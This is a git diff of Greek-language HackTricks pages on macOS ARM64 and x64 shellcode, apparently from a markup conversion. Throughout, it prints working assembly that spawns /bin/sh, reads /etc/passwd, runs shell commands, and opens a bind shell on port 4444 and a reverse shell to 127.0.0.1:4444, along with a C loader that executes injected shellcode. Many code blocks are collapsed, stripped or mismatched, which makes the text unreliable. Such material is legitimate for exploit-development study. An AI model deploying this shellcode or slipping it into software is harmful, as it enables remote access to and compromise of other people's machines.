int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||||
|
|
||||||
if (ptr == MAP_FAILED) {
|
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
|
||||||
perror("mmap");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
printf("[+] SUCCESS: mmap\n");
|
|
||||||
printf(" |-> Return = %p\n", ptr);
|
|
||||||
|
|
||||||
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
|
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
|
||||||
printf("[+] SUCCESS: memcpy\n");
|
|
||||||
printf(" |-> Return = %p\n", dst);
|
|
||||||
|
|
||||||
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
|
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
|
||||||
|
|
||||||
if (status == -1) {
|
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
|
||||||
perror("mprotect");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
printf("[+] SUCCESS: mprotect\n");
|
|
||||||
printf(" |-> Return = %d\n", status);
|
|
||||||
|
|
||||||
printf("[>] Trying to execute shellcode...\n");
|
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
|
||||||
|
|
||||||
sc = ptr;
|
printf("\[>] Trying to execute shellcode...\n");
|
||||||
sc();
|
|
||||||
|
|
||||||
return 0;
|
sc = ptr; sc();
|
||||||
}
|
|
||||||
```
|
return 0; }
|
||||||
|
|
||||||
|
````
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
#### Shell
|
#### Shell
|
||||||
|
|
||||||
Προέρχεται από [**εδώ**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) και εξηγείται.
|
Προέρχεται από [**εδώ**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) και εξηγείται.
|
||||||
|
|
||||||
{% tabs %}
|
<div data-gb-custom-block data-tag="tabs"></div>
|
||||||
{% tab title="με adr" %}
|
|
||||||
|
<div data-gb-custom-block data-tag="tab" data-title='με adr'>
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||||
|
@ -407,38 +412,27 @@ mov x16, #59 ; Move the execve syscall number (59) into x16.
|
||||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||||
|
|
||||||
sh_path: .asciz "/bin/sh"
|
sh_path: .asciz "/bin/sh"
|
||||||
```
|
````
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="με στοίβα" %}
|
|
||||||
```armasm
|
|
||||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
|
||||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
|
||||||
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
|
|
||||||
|
|
||||||
_main:
|
|
||||||
; We are going to build the string "/bin/sh" and place it on the stack.
|
|
||||||
|
|
||||||
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
|
\`\`\`armasm .section \_\_TEXT,\_\_text ; This directive tells the assembler to place the following code in the \_\_text section of the \_\_TEXT segment. .global \_main ; This makes the \_main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the \_main function to the next 4-byte boundary (2^2 = 4).
|
||||||
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
|
|
||||||
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
|
|
||||||
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
|
|
||||||
|
|
||||||
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
|
\_main: ; We are going to build the string "/bin/sh" and place it on the stack.
|
||||||
|
|
||||||
|
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'. movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'. movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'. movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
|
||||||
|
|
||||||
|
str x1, \[sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
|
||||||
|
|
||||||
; Prepare arguments for the execve syscall.
|
; Prepare arguments for the execve syscall.
|
||||||
|
|
||||||
mov x1, #8 ; Set x1 to 8.
|
mov x1, #8 ; Set x1 to 8. sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack. mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||||
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
|
|
||||||
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
|
|
||||||
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
|
||||||
|
|
||||||
; Make the syscall.
|
; Make the syscall.
|
||||||
|
|
||||||
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
|
||||||
|
|
||||||
```
|
````
|
||||||
#### Διάβασμα με την εντολή cat
|
#### Διάβασμα με την εντολή cat
|
||||||
|
|
||||||
Ο στόχος είναι να εκτελεστεί η εντολή `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, οπότε το δεύτερο όρισμα (x1) είναι ένας πίνακας παραμέτρων (ο οποίος στη μνήμη αντιστοιχεί σε μια στοίβα με τις διευθύνσεις).
|
Ο στόχος είναι να εκτελεστεί η εντολή `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, οπότε το δεύτερο όρισμα (x1) είναι ένας πίνακας παραμέτρων (ο οποίος στη μνήμη αντιστοιχεί σε μια στοίβα με τις διευθύνσεις).
|
||||||
|
@ -466,8 +460,10 @@ svc 0 ; Make the syscall
|
||||||
cat_path: .asciz "/bin/cat"
|
cat_path: .asciz "/bin/cat"
|
||||||
.align 2
|
.align 2
|
||||||
passwd_path: .asciz "/etc/passwd"
|
passwd_path: .asciz "/etc/passwd"
|
||||||
```
|
````
|
||||||
#### Καλέστε την εντολή με το sh από ένα fork ώστε η κύρια διεργασία να μην τερματιστεί
|
|
||||||
|
**Καλέστε την εντολή με το sh από ένα fork ώστε η κύρια διεργασία να μην τερματιστεί**
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||||
.global _main ; Declare a global symbol _main
|
.global _main ; Declare a global symbol _main
|
||||||
|
@ -511,9 +507,11 @@ sh_c_option: .asciz "-c"
|
||||||
.align 2
|
.align 2
|
||||||
touch_command: .asciz "touch /tmp/lalala"
|
touch_command: .asciz "touch /tmp/lalala"
|
||||||
```
|
```
|
||||||
#### Bind shell
|
|
||||||
|
**Bind shell**
|
||||||
|
|
||||||
Δέστε το shell από [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) στη **θύρα 4444**
|
Δέστε το shell από [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) στη **θύρα 4444**
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text
|
.section __TEXT,__text
|
||||||
.global _main
|
.global _main
|
||||||
|
@ -595,9 +593,11 @@ mov x2, xzr
|
||||||
mov x16, #59
|
mov x16, #59
|
||||||
svc #0x1337
|
svc #0x1337
|
||||||
```
|
```
|
||||||
#### Αντίστροφη κέλυφωση
|
|
||||||
|
**Αντίστροφη κέλυφωση**
|
||||||
|
|
||||||
Από [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell στο **127.0.0.1:4444**
|
Από [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell στο **127.0.0.1:4444**
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text
|
.section __TEXT,__text
|
||||||
.global _main
|
.global _main
|
||||||
|
@ -664,16 +664,7 @@ mov x2, xzr
|
||||||
mov x16, #59
|
mov x16, #59
|
||||||
svc #0x1337
|
svc #0x1337
|
||||||
```
|
```
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
|
||||||
|
|
||||||
* Αν θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Εισαγωγή στο x64
|
# Introduction to x64
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -39,11 +39,13 @@
|
||||||
* **System V (συνήθως χρησιμοποιείται σε συστήματα UNIX-like)**: Οι πρώτες **έξι ακέραιες ή δείκτες παράμετροι** περνιούνται στους καταχωρητές **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** και **`r9`**. Η τιμή επιστροφής βρίσκεται επίσης στον καταχωρητή **`rax`**.
|
* **System V (συνήθως χρησιμοποιείται σε συστήματα UNIX-like)**: Οι πρώτες **έξι ακέραιες ή δείκτες παράμετροι** περνιούνται στους καταχωρητές **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** και **`r9`**. Η τιμή επιστροφής βρίσκεται επίσης στον καταχωρητή **`rax`**.
|
||||||
|
|
||||||
Αν η συνάρτηση έχει περισσότερες από έξ
|
Αν η συνάρτηση έχει περισσότερες από έξ
|
||||||
|
|
||||||
## macOS
|
## macOS
|
||||||
|
|
||||||
### syscalls
|
### syscalls
|
||||||
|
|
||||||
Υπάρχουν διάφορες κατηγορίες syscalls, μπορείτε να τις βρείτε [**εδώ**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
|
Υπάρχουν διάφορες κατηγορίες syscalls, μπορείτε να τις βρείτε [**εδώ**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
|
||||||
|
|
||||||
```c
|
```c
|
||||||
#define SYSCALL_CLASS_NONE 0 /* Invalid */
|
#define SYSCALL_CLASS_NONE 0 /* Invalid */
|
||||||
#define SYSCALL_CLASS_MACH 1 /* Mach */
|
#define SYSCALL_CLASS_MACH 1 /* Mach */
|
||||||
|
@ -52,7 +54,9 @@
|
||||||
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
|
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
|
||||||
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
|
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
|
||||||
```
|
```
|
||||||
|
|
||||||
Στη συνέχεια, μπορείτε να βρείτε τον αριθμό κάθε συστολής [**σε αυτήν τη διεύθυνση**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
|
Στη συνέχεια, μπορείτε να βρείτε τον αριθμό κάθε συστολής [**σε αυτήν τη διεύθυνση**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
|
||||||
|
|
||||||
```c
|
```c
|
||||||
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
|
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
|
||||||
1 AUE_EXIT ALL { void exit(int rval); }
|
1 AUE_EXIT ALL { void exit(int rval); }
|
||||||
|
@ -69,6 +73,7 @@
|
||||||
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
Έτσι για να καλέσετε την κλήση συστήματος `open` (**5**) από την κατηγορία **Unix/BSD**, πρέπει να προσθέσετε τον αριθμό `0x2000000`.
|
Έτσι για να καλέσετε την κλήση συστήματος `open` (**5**) από την κατηγορία **Unix/BSD**, πρέπει να προσθέσετε τον αριθμό `0x2000000`.
|
||||||
|
|
||||||
Έτσι, ο αριθμός κλήσης συστήματος για να καλέσετε την `open` θα είναι `0x2000005`.
|
Έτσι, ο αριθμός κλήσης συστήματος για να καλέσετε την `open` θα είναι `0x2000005`.
|
||||||
|
@ -101,59 +106,42 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Κώδικας C για να δοκιμάσετε το shellcode</summary>
|
<summary>Κώδικας C για να δοκιμάσετε το shellcode</summary>
|
||||||
```c
|
|
||||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
|
||||||
// gcc loader.c -o loader
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <sys/mman.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
int (*sc)();
|
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
|
||||||
|
|
||||||
char shellcode[] = "<INSERT SHELLCODE HERE>";
|
int (\*sc)();
|
||||||
|
|
||||||
int main(int argc, char **argv) {
|
char shellcode\[] = "";
|
||||||
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
|
||||||
|
|
||||||
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
|
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||||
|
|
||||||
if (ptr == MAP_FAILED) {
|
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
|
||||||
perror("mmap");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
printf("[+] SUCCESS: mmap\n");
|
|
||||||
printf(" |-> Return = %p\n", ptr);
|
|
||||||
|
|
||||||
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
|
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
|
||||||
printf("[+] SUCCESS: memcpy\n");
|
|
||||||
printf(" |-> Return = %p\n", dst);
|
|
||||||
|
|
||||||
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
|
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
|
||||||
|
|
||||||
if (status == -1) {
|
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
|
||||||
perror("mprotect");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
printf("[+] SUCCESS: mprotect\n");
|
|
||||||
printf(" |-> Return = %d\n", status);
|
|
||||||
|
|
||||||
printf("[>] Trying to execute shellcode...\n");
|
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
|
||||||
|
|
||||||
sc = ptr;
|
printf("\[>] Trying to execute shellcode...\n");
|
||||||
sc();
|
|
||||||
|
|
||||||
return 0;
|
sc = ptr; sc();
|
||||||
}
|
|
||||||
```
|
return 0; }
|
||||||
|
|
||||||
|
````
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
#### Κέλυφος
|
#### Κέλυφος
|
||||||
|
|
||||||
Παρμένο από [**εδώ**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) και εξηγείται.
|
Παρμένο από [**εδώ**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) και εξηγείται.
|
||||||
|
|
||||||
{% tabs %}
|
<div data-gb-custom-block data-tag="tabs">
|
||||||
{% tab title="με adr" %}
|
|
||||||
|
<div data-gb-custom-block data-tag="tab" data-title='με adr'></div>
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
bits 64
|
bits 64
|
||||||
global _main
|
global _main
|
||||||
|
@ -167,8 +155,8 @@ push 59 ; put 59 on the stack (execve syscall)
|
||||||
pop rax ; pop it to RAX
|
pop rax ; pop it to RAX
|
||||||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||||
syscall
|
syscall
|
||||||
```
|
````
|
||||||
{% tab title="με τη χρήση της στοίβας" %}
|
|
||||||
```armasm
|
```armasm
|
||||||
bits 64
|
bits 64
|
||||||
global _main
|
global _main
|
||||||
|
@ -184,12 +172,11 @@ pop rax ; pop it to RAX
|
||||||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||||
syscall
|
syscall
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
{% endtabs %}
|
|
||||||
|
|
||||||
#### Διάβασμα με την εντολή cat
|
**Διάβασμα με την εντολή cat**
|
||||||
|
|
||||||
Ο στόχος είναι να εκτελεστεί η εντολή `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, οπότε το δεύτερο όρισμα (x1) είναι ένας πίνακας παραμέτρων (που στη μνήμη αυτό σημαίνει ένα σωρό από διευθύνσεις).
|
Ο στόχος είναι να εκτελεστεί η εντολή `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, οπότε το δεύτερο όρισμα (x1) είναι ένας πίνακας παραμέτρων (που στη μνήμη αυτό σημαίνει ένα σωρό από διευθύνσεις).
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
bits 64
|
bits 64
|
||||||
section .text
|
section .text
|
||||||
|
@ -220,7 +207,8 @@ section .data
|
||||||
cat_path: db "/bin/cat", 0
|
cat_path: db "/bin/cat", 0
|
||||||
passwd_path: db "/etc/passwd", 0
|
passwd_path: db "/etc/passwd", 0
|
||||||
```
|
```
|
||||||
#### Εκτέλεση εντολής με το sh
|
|
||||||
|
**Εκτέλεση εντολής με το sh**
|
||||||
|
|
||||||
Για να εκτελέσετε μια εντολή χρησιμοποιώντας το `sh`, ακολουθήστε τα παρακάτω βήματα:
|
Για να εκτελέσετε μια εντολή χρησιμοποιώντας το `sh`, ακολουθήστε τα παρακάτω βήματα:
|
||||||
|
|
||||||
|
@ -229,6 +217,7 @@ sh -c "εντολή"
|
||||||
```
|
```
|
||||||
|
|
||||||
Αντικαταστήστε το `"εντολή"` με την εντολή που θέλετε να εκτελέσετε.
|
Αντικαταστήστε το `"εντολή"` με την εντολή που θέλετε να εκτελέσετε.
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
bits 64
|
bits 64
|
||||||
section .text
|
section .text
|
||||||
|
@ -266,9 +255,11 @@ sh_path: db "/bin/sh", 0
|
||||||
sh_c_option: db "-c", 0
|
sh_c_option: db "-c", 0
|
||||||
touch_command: db "touch /tmp/lalala", 0
|
touch_command: db "touch /tmp/lalala", 0
|
||||||
```
|
```
|
||||||
#### Συνδεδεμένη κέλυφος (Bind shell)
|
|
||||||
|
**Συνδεδεμένη κέλυφος (Bind shell)**
|
||||||
|
|
||||||
Συνδεδεμένη κέλυφος από [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) στη **θύρα 4444**
|
Συνδεδεμένη κέλυφος από [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) στη **θύρα 4444**
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
section .text
|
section .text
|
||||||
global _main
|
global _main
|
||||||
|
@ -343,9 +334,11 @@ mov rax, r8
|
||||||
mov al, 0x3b
|
mov al, 0x3b
|
||||||
syscall
|
syscall
|
||||||
```
|
```
|
||||||
#### Αντίστροφη Κέλυφος (Reverse Shell)
|
|
||||||
|
**Αντίστροφη Κέλυφος (Reverse Shell)**
|
||||||
|
|
||||||
Αντίστροφη κέλυφος από [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Αντίστροφη κέλυφος προς **127.0.0.1:4444**
|
Αντίστροφη κέλυφος από [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Αντίστροφη κέλυφος προς **127.0.0.1:4444**
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
section .text
|
section .text
|
||||||
global _main
|
global _main
|
||||||
|
@ -407,16 +400,7 @@ mov rax, r8
|
||||||
mov al, 0x3b
|
mov al, 0x3b
|
||||||
syscall
|
syscall
|
||||||
```
|
```
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
|
||||||
|
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Κατάχρηση Διεργασιών στο macOS
|
# macOS Proces Abuse
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -30,16 +30,16 @@
|
||||||
|
|
||||||
Η Αγκάληση Συνάρτησης περιλαμβάνει το **εμπλέκοντας κλήσεις συναρτήσεων** ή μηνύματα μέσα σε κώδικα λογισμικού. Με την αγκάληση συναρτήσεων, ένας επιτιθέμενος μπορεί να **τροποποιήσει τη συμπεριφορά** μιας διεργασίας, να παρατηρήσει ευαίσθητα δεδομένα ή ακόμη και να αποκτήσει έλεγχο επί της ροής εκτέλεσης.
|
Η Αγκάληση Συνάρτησης περιλαμβάνει το **εμπλέκοντας κλήσεις συναρτήσεων** ή μηνύματα μέσα σε κώδικα λογισμικού. Με την αγκάληση συναρτήσεων, ένας επιτιθέμενος μπορεί να **τροποποιήσει τη συμπεριφορά** μιας διεργασίας, να παρατηρήσει ευαίσθητα δεδομένα ή ακόμη και να αποκτήσει έλεγχο επί της ροής εκτέλεσης.
|
||||||
|
|
||||||
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
|
{% content-ref url="macos-function-hooking.md" %}
|
||||||
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
|
[macos-function-hooking.md](macos-function-hooking.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
